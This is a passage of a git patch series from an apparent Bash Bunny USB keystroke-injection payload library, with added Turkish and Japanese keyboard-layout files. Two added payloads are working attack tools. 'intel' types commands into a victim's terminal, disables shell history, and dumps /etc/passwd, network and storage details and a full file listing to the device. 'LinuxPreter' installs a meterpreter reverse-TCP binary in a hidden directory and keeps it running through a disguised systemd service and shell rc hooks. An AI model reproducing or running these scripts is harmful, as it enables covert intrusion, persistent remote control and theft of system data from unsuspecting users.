z`XR9|Ny~uy>SEY8?15y}wN2h>ZD?Vk|2j~CEzQu|bU${77<+NA@hRPoeO$kkASy~T z@+Nc@inCuzS$D#c6!cvHdmak=-9fqme(y_h#N|FIF8A@&_hiVu56S&>`MUbK(7YM6 zR>KF-fBup@_7s2LgrsWY_x64%n3=5c8P>9lbXUI;14klyZ-U;+WjN~-=dC-P(B)E} z@@=#a#%hZ*qsh`MNE&v!Wsk$Oj0AZV zebi#zn2mdrjzMnW)H;ZMVusa`k?!nQ#?ymapsm8!hIQsaw5ucl>p9D!gm^3=Jx}mB zDWlEOYen~LOz79^cb1GD7FWh@u)Po8c6?Q^f7mja+FjZUwa#v8r=d3GHdIbTWi_tj z3E;zx1ArMiKq7g*`v0_dy|Iy1Rs1>AEj42vjS|E!W&))2!!nuOWrv1nG9A0q&bDsL zveY$T+V1w>F6{1D+olVsC0)t}yUQArS`!FsOqv=|s@A$7QB0sgh@pJhRK?gRG+;n0 z2@Pb0;dk!&otZbUT|?przRXQ#e)pVv&%O7ZckVss-Ffc~#(MBk#IE84FFRH@C*4@n zTaUFl79EkX%4pg#)@F>giDS*7bDjU_Lw*-`&n%Ssa_g?sOKIKR>z|L@gOjs)`Zva$ zk2r<4((u{xpLjCvGqQ$H$$B}7^|F3qTeF{x9EMH9Ct&8G24>8j*ieX*b#@OgQLF=} zd<~j>745I1{cDl;uuQf2@mu8ti_Sd62~~Jr@t=}M%V#54OX#D}H+@v(D}F<(pWdey zhJJ$%D;K*1oS=8g#lBX~P#<|W`Z|ri+ROWbElpLmN?)+0iE4Dx;-?RoF$a5sTpphV zv~v#aOcduQ#vJr{&L%lO^U=mn_+xu9MZW5fHTwCcEvE_AdMrj;oT5FLKcd5W=<9Jj zkNq7PJKB$6+QU`57@-MeaXkMWE|aRV9?RT0hw_s^wad_WOSaMsTZw*J7LLu<(u$$D zxMTtCJcD=190RTE@qS&8#;^Q{W{7 zJn3@=yzSuqUMiL5M044kI0w7K3RblD#u!W%4A{6Hl#c&Zv^9^m;u=xP?#AIAa#JdYeaSeUBn8Vp#Q5W}a*%aozoS*y9*5I!Y<03EPDvx>6 z;`-&-G){scij2hHS1lF_GqnA3nU3f^7<@@+Z%kw)Rv*8BYZD%SxlCFtza#>`Uk{mU zU~G3jSt$G(c`xYmlaYh!!r}8#SA2`a{_+mVH>K{T<48uPLhVbn27K;=+}u-$;dv}) zBCSRHg!Q;}FS;F*p&l-=c#?CmCdkTl#dchW+*Ld#*!E;Jr!i)Jz#r?ul+VCpX5cY% zem?S};3#Cso;+jZ!4MDNI%Y{27&~Lgz2e`R#WpYx>4V`jBGF4*8wY$w3?2*t$}%R$ zO61G_YGe@gBQJp24(2{E_mLTWPpbBU+XQX~+#Kj5pfjY~AgXg+hFE?rgQAHmCab5m zovAt-eOOc{b7(t0{~f?}6i|}b>MJ<5mOm5<3&Oy$acy_&ZRz?W@=cvZm=mZ2&(a#p zm4`-oh}Yvf>}j;+{;u2UsjYksaBG;0RYckC{#ZNopN0Ojj94;=SfuE{mQw=J;EX@k z1ex32GTnwgA3>irFXHy|a(}+{wGBd`ZL)4|p13ZO6`Ofe+IzWBaKCW5V}Q+^jfP^G z7Kz!L{q#}uK*0+or|X+=4H`!~VtSQS(LhB56%AB0P|-j|0~HNaG*Hn%MFSNLR5Vc0 zKt%)pzXsN2qX=o9XxH3ftRchrUzGhhB%^;5qTeNrEfP(#QHF#q0+)IpQ~Vt1xwkZf z*CD!8L&Q6UU7BaP{AMi4%HR2*aKh2-4?j`3R4@BYNV2sdsfFd(s&nZER%A7|2Q3A* zFRQgYk7C$>Q;zHhNm^mUS1Bpm{4U|mb1u#Bz>I$o?*)=%<4!Y!ty7n5U+GdokH@Nh zK>A(TghDEiHodQt?qKk}5jTj{awCoOPpl)Rh*@GMv7b0foFq;YXNil%CE`Wm8gYYIEgRR; zKe3LOB4&x5MEL_+Nu$I`;xuuVxJcC6*x!F!bC?(ZGg*DZ!JlgGEn>Gm=HQKz9{;(P zpZ|j5gXGVVf6o2LhCS3!J0AY3P|{DxUuOOJTa^D4`8B^#I=)|ViTot_%N@%9)%%XCx52+y!AV-^k>PB6Y~?w&-_?1LH_tD zrFW6Og_wRo`E8_cCw4!i`~lJ<#Q7QJPm%sUF?m?|PmqrPQt8@bicgc@O}=+r`7eg} zt9L8^Pvn1zSbJ3YuaW)_arrLgZ+k-VG~4euuC!0SwX>R6{?#FV{_D!W+;?hs-_D&o zQVsp7T{rJU>hC?=(6ckO3-1Ei-O#sVM{ob`-FSSex9`x%fV6S{$tzy)65klav(Ll0 zPd(vYQjzx(c)GPOF>rh&acBfL6XSVyvKlkF8;5%aJXeMns|bL_}rbbn%4TE^g9JBRSlgN(e(9Y1c5=UKU&Ha|LF{J!{5 z^XGHS7+RcREt|M2k-Q$E86E#5P< z_)z2}CJf7e3p~+@jL#*;E$&BXFf5K_sT-^11@V7tW%6;#8@hWc0|K?o8=eZuKSRH2 zXydgej5a(Il3%90;di;Nn!NRE^!GyYc0FKdak148+y4(JZ|BcD&zi*K=SdUd<)rsR z(4v2nPySXb7|OlK!4&RamieIk%I~zc;g}zkE}ehlK8cJ};k5Pa`e*L1TEp~g^^G=s z4h2^R)+z_3zUyjF=n6Eubs!!kd@;%`IUczKw9~mV!cA~+vE-Z zjFO80Sljn3O7KiO8IQC*CWbS1D?+2O4hx_^vitj^( literal 0 HcmV?d00001 From 2785fbc4db7d8faa7871d6cba804dc336611b2bb Mon Sep 17 00:00:00 2001 From: drapl0n tuxed0 <87269662+drapl0n@users.noreply.github.com> Date: Tue, 8 Mar 2022 22:52:58 +0530 Subject: [PATCH 11/14] Uploading payload "intel(intelligence)" (#501) * Uploaded BunnyLogger * uploading payload intel * Create README.md * Update README.md --- payloads/library/exfiltration/intel/README.md | 24 +++++++ payloads/library/exfiltration/intel/intel.sh | 67 +++++++++++++++++++ .../library/exfiltration/intel/payload.txt | 56 ++++++++++++++++ 3 files changed, 147 insertions(+) create mode 100644 payloads/library/exfiltration/intel/README.md create mode 100644 payloads/library/exfiltration/intel/intel.sh create mode 100644 payloads/library/exfiltration/intel/payload.txt diff --git a/payloads/library/exfiltration/intel/README.md b/payloads/library/exfiltration/intel/README.md new file mode 100644 index 00000000..a69f7558 --- /dev/null +++ b/payloads/library/exfiltration/intel/README.md @@ -0,0 +1,24 @@ +# intel(intelligence) + +## About: +* Title: intel +* Description: intel(intelligence) payload collects detailed information of victims machine. +* AUTHOR: drapl0n +* Version: 1.0 +* Category: Exfiltration +* Target: GNU/Linux +* Attackmodes: HID, Storage + +## intel(intelligence) payload collects detailed information of victims machine. + + +### Workflow: +1. Prevent storing history. +2. Fetching BashBunny's block device. +3. Mounting BashBunny. +4. Transfering payload script and executing it. +5. Deleting script from victims system. +6. Unmounting BashBunny. + +#### Support me if you like my work: +* https://twitter.com/drapl0n diff --git a/payloads/library/exfiltration/intel/intel.sh b/payloads/library/exfiltration/intel/intel.sh new file mode 100644 index 00000000..a3cec365 --- /dev/null +++ b/payloads/library/exfiltration/intel/intel.sh @@ -0,0 +1,67 @@ +lol=$(lsblk | grep 1.8G) +disk=$(echo $lol | awk '{print $1}') +mntt=$(lsblk | grep $disk | awk '{print $7}') +echo -e "*******************************************" >> $mntt/loot/intel +echo "Network Schema:" >> $mntt/loot/intel +echo -e "*******************************************" >> $mntt/loot/intel +echo -e "\n" >> $mntt/loot/intel +nmap -sV localhost >> $mntt/loot/intel +echo -e "\n" >> $mntt/loot/intel +echo -e "*******************************************" >> $mntt/loot/intel +echo "Network Interfaces:" >> $mntt/loot/intel +echo -e "*******************************************" >> $mntt/loot/intel +ifconfig >> $mntt/loot/intel +echo -e "\n" >> $mntt/loot/intel +ip addr >> $mntt/loot/intel +echo -e "\n" >> $mntt/loot/intel +iwconfig >> $mntt/loot/intel +echo -e "\n" >> $mntt/loot/intel +echo -e "*******************************************" >> $mntt/loot/intel +echo Storage Info: >> $mntt/loot/intel +echo -e "*******************************************" >> $mntt/loot/intel +findmnt >> $mntt/loot/intel +echo -e "\n" >> $mntt/loot/intel +cat /etc/fstab >> $mntt/loot/intel +echo -e "\n" >> $mntt/loot/intel +echo -e "*******************************************" >> $mntt/loot/intel +echo "USB Info:" >> $mntt/loot/intel +echo -e "*******************************************" >> $mntt/loot/intel +lsusb -v >> $mntt/loot/intel +echo -e "\n" >> $mntt/loot/intel +echo -e "*******************************************" >> $mntt/loot/intel +echo "PCI Info:" >> $mntt/loot/intel +echo -e "*******************************************" >> $mntt/loot/intel +lspci -vvv >> $mntt/loot/intel +echo -e "\n" >> $mntt/loot/intel +echo -e "*******************************************" >> $mntt/loot/intel +echo "CPU Info:" >> $mntt/loot/intel +echo -e "*******************************************" >> $mntt/loot/intel +lscpu >> $mntt/loot/intel +echo -e "\n" >> $mntt/loot/intel +echo -e "*******************************************" >> $mntt/loot/intel +echo "Systemd services:" >> $mntt/loot/intel +echo -e "*******************************************" >> $mntt/loot/intel +systemctl list-units >> $mntt/loot/intel +echo -e "\n" >> $mntt/loot/intel +echo -e "*******************************************" >> $mntt/loot/intel +echo User/groups: >> $mntt/loot/intel +echo -e "*******************************************" >> $mntt/loot/intel +id >> $mntt/loot/intel +echo -e "\n" >> $mntt/loot/intel +cat /etc/passwd >> $mntt/loot/intel +echo -e "\n" >> $mntt/loot/intel +echo -e "*******************************************" >> $mntt/loot/intel +echo "Installed packages:" >> $mntt/loot/intel +echo -e "*******************************************" >> $mntt/loot/intel +pacman -Q >> $mntt/loot/intel || apt list --installed >> $mntt/loot/intel || dpkg -l >> $mntt/loot/intel || apk info >> $mntt/loot/intel || yum list installed >> $mntt/loot/intel || dnf list installed >> $mntt/loot/intel || zypper se --installed-only >> $mntt/loot/intel || rpm -qa >> $mntt/loot/intel +echo -e "\n" >> $mntt/loot/intel +snap list >> $mntt/loot/intel +echo -e "\n" >> $mntt/loot/intel +flatpak list --app >> $mntt/loot/intel +echo -e "\n" >> $mntt/loot/intel +echo -e "******************************************" >> $mntt/loot/intel +echo "Directory Structure:" >> $mntt/loot/intel +echo -e "*******************************************" >> $mntt/loot/intel +find * / >> $mntt/loot/intel +echo -e "\n" >> $mntt/loot/intel +echo -e "******************************************" >> $mntt/loot/intel diff --git a/payloads/library/exfiltration/intel/payload.txt b/payloads/library/exfiltration/intel/payload.txt new file mode 100644 index 00000000..17965860 --- /dev/null +++ b/payloads/library/exfiltration/intel/payload.txt @@ -0,0 +1,56 @@ +# Title: intel +# Description: intel(intelligence) payload collects detailed information of victims machine. +# AUTHOR: drapl0n +# Version: 1.0 +# Category: Exfiltration +# Target: GNU/Linux operating systems. +# Attackmodes: HID, Storage. + +LED SETUP +ATTACKMODE STORAGE HID +GET SWITCH_POSITION +LED ATTACK +Q DELAY 1000 +Q CTRL-ALT t +Q DELAY 1000 + +# [Prevent storing history] +Q STRING unset HISTFILE +Q ENTER +Q DELAY 200 + +# [Fetching BashBunny's block device] +Q STRING lol='$(lsblk | grep 1.8G)' +Q ENTER +Q DELAY 100 +Q STRING disk='$(echo $lol | awk '\'{print\ '$1'}\'\)'' +Q ENTER +Q DELAY 200 + +# [Mounting BashBunny] +Q STRING udisksctl mount -b /dev/'$disk' /tmp/tmppp +Q ENTER +Q DELAY 2000 +Q STRING mntt='$(lsblk | grep $disk | awk '\'{print\ '$7'}\'\)'' +Q ENTER +Q DELAY 500 + +# [transfering payload script] +Q STRING cp -r '$mntt'/payloads/intel.sh /tmp/ +Q ENTER +Q STRING chmod +x /tmp/intel.sh +Q ENTER +Q STRING /tmp/./intel.sh +Q ENTER +Q DELAY 25000 +Q STRING rm /tmp/intel.sh +Q ENTER +Q DELAY 500 + +# [Unmounting BashBunny] +Q STRING udisksctl unmount -b /dev/'$disk' +Q ENTER +Q DELAY 500 +Q STRING exit +Q ENTER +LED FINISH From f03f67be29e59510dc2f4dbf0b863d62161baa4f Mon Sep 17 00:00:00 2001 From: electronicintifida <32038218+electronicintifida@users.noreply.github.com> Date: Thu, 10 Mar 2022 19:30:54 +0000 Subject: [PATCH 12/14] Add files via upload (#422) --- languages/tr.json | 173 ++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 173 insertions(+) create mode 100644 languages/tr.json diff --git a/languages/tr.json b/languages/tr.json new file mode 100644 index 00000000..77c63de4 --- /dev/null +++ b/languages/tr.json @@ -0,0 +1,173 @@ +{ + "__comment": "All numbers here are in hex format and 0x is ignored.", + "__comment": " ", + "__comment": "This list is in ascending order of 3rd byte (HID Usage ID).", + "__comment": " See section 10 Keyboard/Keypad Page (0x07)", + "__comment": " of document USB HID Usage Tables Version 1.12.", + "__comment": " ", + "__comment": "Definition of these 3 bytes can be found", + "__comment": " in section B.1 Protocol 1 (Keyboard)", + "__comment": " of document Device Class Definition for HID Version 1.11", + "__comment": " - byte 1: Modifier keys", + "__comment": " - byte 2: Reserved", + "__comment": " - byte 3: Keycode 1", + "__comment": " ", + "__comment": "Both documents can be obtained from link here", + "__comment": " http://www.usb.org/developers/hidpage/", + "__comment": " ", + "__comment": "A = LeftShift + a, { = LeftShift + [", + "__comment": " ", + "CTRL": "01,00,00", + "CONTROL": "01,00,00", + "SHIFT": "02,00,00", + "ALT": "04,00,00", + "GUI": "08,00,00", + "WINDOWS": "08,00,00", + "CTRL-ALT": "05,00,00", + "CTRL-SHIFT": "03,00,00", + "ALT-SHIFT": "06,00,00", + "__comment": "Below 5 key combinations are for Mac OSX", + "__comment": "Example: (COMMAND-OPTION SHIFT t) to open terminal", + "COMMAND": "08,00,00", + "COMMAND-CTRL": "09,00,00", + "COMMAND-CTRL-SHIFT": "0B,00,00", + "COMMAND-OPTION": "0C,00,00", + "COMMAND-OPTION-SHIFT": "0E,00,00", + "a": "00,00,04", + "A": "02,00,04", + "b": "00,00,05", + "B": "02,00,05", + "c": "00,00,06", + "C": "02,00,06", + "d": "00,00,07", + "D": "02,00,07", + "e": "00,00,08", + "E": "02,00,08", + "f": "00,00,09", + "F": "02,00,09", + "g": "00,00,0a", + "G": "02,00,0a", + "h": "00,00,0b", + "H": "02,00,0b", + "i": "00,00,34", + "I": "02,00,0c", + "j": "00,00,0d", + "J": "02,00,0d", + "k": "00,00,0e", + "K": "02,00,0e", + "l": "00,00,0f", + "L": "02,00,0f", + "m": "00,00,10", + "M": "02,00,10", + "n": "00,00,11", + "N": "02,00,11", + "o": "00,00,12", + "O": "02,00,12", + "p": "00,00,13", + "P": "02,00,13", + "q": "00,00,14", + "Q": "02,00,14", + "r": "00,00,15", + "R": "02,00,15", + "s": "00,00,16", + "S": "02,00,16", + "t": "00,00,17", + "T": "02,00,17", + "u": "00,00,18", + "U": "02,00,18", + "v": "00,00,19", + "V": "02,00,19", + "w": "00,00,1a", + "W": "02,00,1a", + "x": "00,00,1b", + "X": "02,00,1b", + "y": "00,00,1c", + "Y": "02,00,1c", + "z": "00,00,1d", + "Z": "02,00,1d", + "1": "00,00,1e", + "!": "02,00,1e", + "2": "00,00,1f", + "@": "40,00,14", + "3": "00,00,20", + "#": "40,00,20", + "4": "00,00,21", + "$": "40,00,21", + "5": "00,00,22", + "%": "02,00,22", + "6": "00,00,23", + "^": "02,00,20", + "7": "00,00,24", + "&": "02,00,23", + "8": "00,00,25", + "*": "00,00,2d", + "9": "00,00,26", + "(": "02,00,25", + "0": "00,00,27", + ")": "02,00,26", + "ENTER": "00,00,28", + "ESC": "00,00,29", + "ESCAPE": "00,00,29", + "BACKSPACE": "00,00,2a", + "TAB": "00,00,2b", + "ALT-TAB": "04,00,2b", + "SPACE": "00,00,2c", + " ": "00,00,2c", + "-": "00,00,2e", + "_": "02,00,2e", + "=": "02,00,27", + "+": "02,00,21", + "[": "40,00,25", + "{": "40,00,24", + "]": "40,00,26", + "}": "40,00,27", + "\\": "40,00,2d", + "|": "40,00,2e", + ";": "02,00,31", + ":": "02,00,38", + "'": "02,00,1f", + "\"": "00,00,35", + "`": "40,00,31", + "~": "40,00,30", + ",": "00,00,31", + "<": "40,00,35", + ".": "00,00,38", + ">": "40,00,1e", + "/": "02,00,24", + "?": "02,00,2d", + "CAPSLOCK": "00,00,39", + "F1": "00,00,3a", + "F2": "00,00,3b", + "F3": "00,00,3c", + "F4": "00,00,3d", + "F5": "00,00,3e", + "F6": "00,00,3f", + "F7": "00,00,40", + "F8": "00,00,41", + "F9": "00,00,42", + "F10": "00,00,43", + "F11": "00,00,44", + "F12": "00,00,45", + "PRINTSCREEN":"00,00,46", + "SCROLLLOCK": "00,00,47", + "PAUSE": "00,00,48", + "BREAK": "00,00,48", + "INSERT": "00,00,49", + "HOME": "00,00,4a", + "PAGEUP": "00,00,4b", + "DELETE": "00,00,4c", + "DEL": "00,00,4c", + "END": "00,00,4d", + "PAGEDOWN": "00,00,4e", + "RIGHTARROW": "00,00,4f", + "RIGHT": "00,00,4f", + "LEFTARROW": "00,00,50", + "LEFT": "00,00,50", + "DOWNARROW": "00,00,51", + "DOWN": "00,00,51", + "UPARROW": "00,00,52", + "UP": "00,00,52", + "NUMLOCK": "00,00,53", + "MENU": "00,00,65", + "APP": "00,00,65" +} From a4141f73126b41176cb24949f6de6c201b1a9201 Mon Sep 17 00:00:00 2001 From: drapl0n tuxed0 <87269662+drapl0n@users.noreply.github.com> Date: Sun, 13 Mar 2022 03:57:24 +0530 Subject: [PATCH 13/14] Uploaded LinuxPreter (#502) * Uploaded BunnyLogger * uploading payload intel * Create README.md * Update README.md * uploaded LinuxPreter --- .../remote_access/LinuxPreter/README.md | 36 ++++++++++++ .../remote_access/LinuxPreter/payload.sh | 12 ++++ .../remote_access/LinuxPreter/payload.txt | 56 +++++++++++++++++++ 3 files changed, 104 insertions(+) create mode 100644 payloads/library/remote_access/LinuxPreter/README.md create mode 100644 payloads/library/remote_access/LinuxPreter/payload.sh create mode 100644 payloads/library/remote_access/LinuxPreter/payload.txt diff --git a/payloads/library/remote_access/LinuxPreter/README.md b/payloads/library/remote_access/LinuxPreter/README.md new file mode 100644 index 00000000..0a0933a9 --- /dev/null +++ b/payloads/library/remote_access/LinuxPreter/README.md @@ -0,0 +1,36 @@ +## About: +* Title: LinuxPreter +* Description: Injects meterpreter payload and makes it persistent. +* AUTHOR: drapl0n +* Version: 1.0 +* Category: Remote Access +* Target: Unix-like operating systems with systemd. +* Attackmodes: HID, Storage + +## LinuxPreter injects meterpreter payload, make it persistent and triggers payload on launch of terminal/shell. + +### Workflow: +* Keeping tracks clear by preventing storage of history. +* Fetching BashBunny's block device and mounting it. +* Transfering payload script and payload itself. +* Deleting scripts from victims machine and unmounting bunny. + +### Create Meterpreter payload: +* ```msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT= -f elf -o sysHandle.bin``` +* NOTE: Only change IP address and Port number in the above command. + +### LED Status: +* `SETUP` : MAGENTA +* `ATTACK` : YELLOW +* `FINISH` : GREEN + +### Directory Structure of payload components: +| FileName | Directory | +| -------------- | ----------------------------- | +| payload.txt | /payload/switch1/ | +| payload.sh | /payload/ | +| sysHandle.bin | /tools/ | + + +#### Support me if you like my work: +* https://twitter.com/drapl0n diff --git a/payloads/library/remote_access/LinuxPreter/payload.sh b/payloads/library/remote_access/LinuxPreter/payload.sh new file mode 100644 index 00000000..cfecd2cf --- /dev/null +++ b/payloads/library/remote_access/LinuxPreter/payload.sh @@ -0,0 +1,12 @@ +lol=$(lsblk | grep 1.8G) +disk=$(echo $lol | awk '{print $1}') +mntt=$(lsblk | grep $disk | awk '{print $7}') +mkdir /var/tmp/.system +cp -r $mntt/tools/sysHandle.bin /var/tmp/.system +chmod +x /var/tmp/.system/sysHandle.bin +mkdir -p ~/.config/systemd/user/ +systemctl --user start systemPer.service +echo -e "[Unit]\nDescription= System BUS handler\n\n[Service]\nExecStart=/var/tmp/.system/./sysHandle.bin -no-browser\nRestart=on-failure\nSuccessExitStatus=3 4\nRestartForceExitStatus=3 4\n\n[Install]\nWantedBy=multi-user.target" > ~/.config/systemd/user/systemPer.service + +echo -e "ls -a | grep 'zshrc' &> /dev/null\nif [ \$? = 0 ]; then\n\techo \"systemctl --user enable --now systemPer.service \" >> ~/.zshrc\nfi\n\nls -a | grep 'bashrc' &> /dev/null\nif [ \$? = 0 ]; then\n\techo \"systemctl --user enable --now systemPer.service\" >> ~/.bashrc\nfi" > ~/tmmmp +chmod +x ~/tmmmp && cd ~/ && ./tmmmp && rm tmmmp && exit diff --git a/payloads/library/remote_access/LinuxPreter/payload.txt b/payloads/library/remote_access/LinuxPreter/payload.txt new file mode 100644 index 00000000..34118624 --- /dev/null +++ b/payloads/library/remote_access/LinuxPreter/payload.txt @@ -0,0 +1,56 @@ +# Title: LinuxPreter +# Description: Injects meterpreter payload and makes it persistent. +# AUTHOR: drapl0n +# Version: 1.0 +# Category: Remote Access +# Target: Unix-like operating systems with systemd. +# Attackmodes: HID, Storage + +LED SETUP +ATTACKMODE STORAGE HID +GET SWITCH_POSITION +LED ATTACK +Q DELAY 1000 +Q CTRL-ALT t +Q DELAY 1000 + +# [Prevent storing history] +Q STRING unset HISTFILE +Q ENTER +Q DELAY 200 + +# [Fetching BashBunny's block device] +Q STRING lol='$(lsblk | grep 1.8G)' +Q ENTER +Q DELAY 100 +Q STRING disk='$(echo $lol | awk '\'{print\ '$1'}\'\)'' +Q ENTER +Q DELAY 200 + +# [Mounting BashBunny] +Q STRING udisksctl mount -b /dev/'$disk' /tmp/tmppp +Q ENTER +Q DELAY 2000 +Q STRING mntt='$(lsblk | grep $disk | awk '\'{print\ '$7'}\'\)'' +Q ENTER +Q DELAY 500 + +# [transfering payload script] +Q STRING cp -r '$mntt'/payloads/payload.sh /tmp/ +Q ENTER +Q STRING chmod +x /tmp/payload.sh +Q ENTER +Q STRING /tmp/./payload.sh +Q ENTER +Q DELAY 1000 +Q STRING rm /tmp/payload.sh +Q ENTER +Q DELAY 500 + +# [Unmounting BashBunny] +Q STRING udisksctl unmount -b /dev/'$disk' +Q ENTER +Q DELAY 500 +Q STRING exit +Q ENTER +LED FINISH From 2e297ba861fe729b7f638698dbf6b4b6d11af624 Mon Sep 17 00:00:00 2001 From: su3158 Date: Mon, 14 Mar 2022 03:01:52 +0900 Subject: [PATCH 14/14] Array for Japanese added. (#465) --- languages/jp.json | 172 ++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 172 insertions(+) create mode 100644 languages/jp.json diff --git a/languages/jp.json b/languages/jp.json new file mode 100644 index 00000000..9c3506fa --- /dev/null +++ b/languages/jp.json @@ -0,0 +1,172 @@ +{ + "__comment": "All numbers here are in hex format and 0x is ignored.", + "__comment": " ", + "__comment": "This list is in ascending order of 3rd byte (HID Usage ID).", + "__comment": " See section 10 Keyboard/Keypad Page (0x07)", + "__comment": " of document USB HID Usage Tables Version 1.12.", + "__comment": " ", + "__comment": "Definition of these 3 bytes can be found", + "__comment": " in section B.1 Protocol 1 (Keyboard)", + "__comment": " of document Device Class Definition for HID Version 1.11", + "__comment": " - byte 1: Modifier keys", + "__comment": " - byte 2: Reserved", + "__comment": " - byte 3: Keycode 1", + "__comment": " ", + "__comment": "Both documents can be obtained from link here", + "__comment": " http://www.usb.org/developers/hidpage/", + "__comment": " ", + "__comment": "A = LeftShift + a, { = LeftShift + [", + "__comment": " ", + "CTRL": "01,00,00", + "CONTROL": "01,00,00", + "SHIFT": "02,00,00", + "ALT": "04,00,00", + "GUI": "08,00,00", + "WINDOWS": "08,00,00", + "CTRL-ALT": "05,00,00", + "CTRL-SHIFT": "03,00,00", + "ALT-SHIFT": "06,00,00", + "__comment": "Below 5 key combinations are for Mac OSX", + "__comment": "Example: (COMMAND-OPTION SHIFT t) to open terminal", + "COMMAND": "08,00,00", + "COMMAND-CTRL": "09,00,00", + "COMMAND-CTRL-SHIFT": "0B,00,00", + "COMMAND-OPTION": "0C,00,00", + "COMMAND-OPTION-SHIFT": "0E,00,00", + "a": "00,00,04", + "A": "02,00,04", + "b": "00,00,05", + "B": "02,00,05", + "c": "00,00,06", + "C": "02,00,06", + "d": "00,00,07", + "D": "02,00,07", + "e": "00,00,08", + "E": "02,00,08", + "f": "00,00,09", + "F": "02,00,09", + "g": "00,00,0a", + "G": "02,00,0a", + "h": "00,00,0b", + "H": "02,00,0b", + "i": "00,00,0c", + "I": "02,00,0c", + "j": "00,00,0d", + "J": "02,00,0d", + "k": "00,00,0e", + "K": "02,00,0e", + "l": "00,00,0f", + "L": "02,00,0f", + "m": "00,00,10", + "M": "02,00,10", + "n": "00,00,11", + "N": "02,00,11", + "o": "00,00,12", + "O": "02,00,12", + "p": "00,00,13", + "P": "02,00,13", + "q": "00,00,14", + "Q": "02,00,14", + "r": "00,00,15", + "R": "02,00,15", + "s": "00,00,16", + "S": "02,00,16", + "t": "00,00,17", + "T": "02,00,17", + "u": "00,00,18", + "U": "02,00,18", + "v": "00,00,19", + "V": "02,00,19", + "w": "00,00,1a", + "W": "02,00,1a", + "x": "00,00,1b", + "X": "02,00,1b", + "y": "00,00,1c", + "Y": "02,00,1c", + "z": "00,00,1d", + "Z": "02,00,1d", + "1": "00,00,1e", + "!": "02,00,1e", + "2": "00,00,1f", + "\"": "02,00,1f", + "3": "00,00,20", + "#": "02,00,20", + "4": "00,00,21", + "$": "02,00,21", + "5": "00,00,22", + "%": "02,00,22", + "6": "00,00,23", + "&": "02,00,23", + "7": "00,00,24", + "'": "02,00,24", + "8": "00,00,25", + "(": "02,00,25", + "9": "00,00,26", + ")": "02,00,26", + "0": "00,00,27", + "ENTER": "00,00,28", + "ESC": "00,00,29", + "ESCAPE": "00,00,29", + "BACKSPACE": "00,00,2a", + "TAB": "00,00,2b", + "ALT-TAB": "04,00,2b", + "SPACE": "00,00,2c", + " ": "00,00,2c", + "-": "00,00,2d", + "=": "02,00,2d", + "^": "00,00,2e", + "~": "02,00,2e", + "@": "00,00,2f", + "`": "02,00,2f", + "[": "00,00,30", + "{": "02,00,30", + "\\": "00,00,31", + "|": "02,00,31", + "]": "00,00,32", + "}": "02,00,32", + ";": "00,00,33", + "+": "02,00,33", + ":": "00,00,34", + "*": "02,00,34", + ",": "00,00,36", + "<": "02,00,36", + ".": "00,00,37", + ">": "02,00,37", + "/": "00,00,38", + "?": "02,00,38", + "CAPSLOCK": "00,00,39", + "F1": "00,00,3a", + "F2": "00,00,3b", + "F3": "00,00,3c", + "F4": "00,00,3d", + "F5": "00,00,3e", + "F6": "00,00,3f", + "F7": "00,00,40", + "F8": "00,00,41", + "F9": "00,00,42", + "F10": "00,00,43", + "F11": "00,00,44", + "F12": "00,00,45", + "PRINTSCREEN":"00,00,46", + "SCROLLLOCK": "00,00,47", + "PAUSE": "00,00,48", + "BREAK": "00,00,48", + "INSERT": "00,00,49", + "HOME": "00,00,4a", + "PAGEUP": "00,00,4b", + "DELETE": "00,00,4c", + "DEL": "00,00,4c", + "END": "00,00,4d", + "PAGEDOWN": "00,00,4e", + "RIGHTARROW": "00,00,4f", + "RIGHT": "00,00,4f", + "LEFTARROW": "00,00,50", + "LEFT": "00,00,50", + "DOWNARROW": "00,00,51", + "DOWN": "00,00,51", + "UPARROW": "00,00,52", + "UP": "00,00,52", + "NUMLOCK": "00,00,53", + "MENU": "00,00,65", + "APP": "00,00,65" +}